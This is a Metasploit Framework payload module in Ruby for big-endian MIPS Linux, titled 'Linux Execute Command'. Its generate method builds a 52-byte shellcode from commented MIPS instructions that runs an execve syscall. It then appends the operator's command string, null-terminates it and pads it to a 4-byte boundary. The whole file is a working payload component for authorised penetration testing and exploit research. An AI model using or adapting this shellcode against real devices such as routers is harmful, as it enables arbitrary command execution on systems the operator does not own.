1
# -*- coding: binary -*-
2

3
##
4
# This module requires Metasploit: https://metasploit.com/download
5
# Current source: https://github.com/rapid7/metasploit-framework
6
##
7

8
module MetasploitModule
9
  CachedSize = 52
10

11
  include Msf::Payload::Single
12

13
  def initialize(info = {})
14
    super(
15
      merge_info(
16
        info,
17
        'Name' => 'Linux Execute Command',
18
        'Description' => %q{
19
          A very small shellcode for executing commands.
20
          This module is sometimes helpful for testing purposes.
21
        },
22
        'Author' => [
23
          'Michael Messner <devnull[at]s3cur1ty.de>', # metasploit payload
24
          '[email protected]' # original payload
25
        ],
26
        'References' => [
27
          ['EDB', '17940']
28
        ],
29
        'License' => MSF_LICENSE,
30
        'Platform' => 'linux',
31
        'Arch' => ARCH_MIPSBE,
32
        'Payload' => {
33
          'Offsets' => {},
34
          'Payload' => ''
35
        }
36
      )
37
    )
38
    register_options(
39
      [
40
        OptString.new('CMD', [ true, 'The command string to execute' ]),
41
      ]
42
    )
43
  end
44

45
  #
46
  # Returns the command string to use for execution
47
  #
48
  def command_string
49
    return datastore['CMD'] || ''
50
  end
51

52
  def generate(_opts = {})
53
    shellcode =
54
      "\x24\x06\x06\x66" + # li a2,1638
55
      "\x04\xd0\xff\xff" + # bltzal a2,4100b4
56
      "\x28\x06\xff\xff" + # slti a2,zero,-1
57
      "\x27\xbd\xff\xe0" + # addiu sp,sp,-32
58
      "\x27\xe4\x10\x01" + # addiu a0,ra,4097
59
      "\x24\x84\xf0\x1f" + # addiu a0,a0,-4065
60
      "\xaf\xa4\xff\xe8" + # sw a0,-24(sp)
61
      "\xaf\xa0\xff\xec" + # sw zero,-20(sp)
62
      "\x27\xa5\xff\xe8" + # addiu a1,sp,-24
63
      "\x24\x02\x0f\xab" + # li v0,4011
64
      "\x01\x01\x01\x0c"   # syscall 0x40404
65

66
    #
67
    # Constructs the payload
68
    #
69

70
    shellcode = shellcode + command_string + "\x00"
71

72
    # we need to align our shellcode to 4 bytes
73
    shellcode += "\x00" while shellcode.bytesize % 4 != 0
74

75
    return super + shellcode
76
  end
77
end
78

79